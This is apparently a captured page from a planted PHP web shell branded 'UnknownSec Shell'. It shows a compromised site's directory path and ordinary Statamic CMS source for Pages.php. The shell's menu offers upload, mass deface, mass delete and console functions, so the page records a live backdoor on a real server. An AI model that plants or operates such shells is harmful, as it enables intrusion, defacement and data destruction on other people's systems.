shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
mpc.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Structures
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
Pages.php
<?php namespace Statamic\Structures; class Pages { protected $tree; protected $pages; protected $route; protected $parent; protected $depth; protected $prependParent = true; public function setTree(Tree $tree): self { $this->tree = $tree; return $this; } public function setPages(array $pages): self { $this->pages = $pages; return $this; } public function setRoute(string $route): self { $this->route = $route; return $this; } public function setDepth($depth) { $this->depth = $depth; return $this; } public function depth() { return $this->depth; } public function setParent(?Page $parent): self { $this->parent = $parent; return $this; } public function prependParent($prepend) { $this->prependParent = $prepend; return $this; } public function all() { $pages = collect($this->pages)->map(function ($branch) { $page = (new Page) ->setTree($this->tree) ->setParent($this->parent) ->setId($branch[$this->tree->idKey()] ?? null) ->setEntry($branch['entry'] ?? null) ->setUrl($branch['url'] ?? null) ->setTitle($branch['title'] ?? null) ->setDepth($this->depth) ->setChildren($branch['children'] ?? []) ->setPageData($branch['data'] ?? []); if ($this->route) { $page->setRoute($this->route); } return $page; }); if ($this->prependParent && $this->parent) { $pages->prepend($this->parent); } return $pages; } public function flattenedPages() { $flattened = collect(); foreach ($this->all() as $page) { $flattened->push($page); $flattened = $flattened->merge($page->flattenedPages()); } return $flattened; } }
© 2026 UnknownSec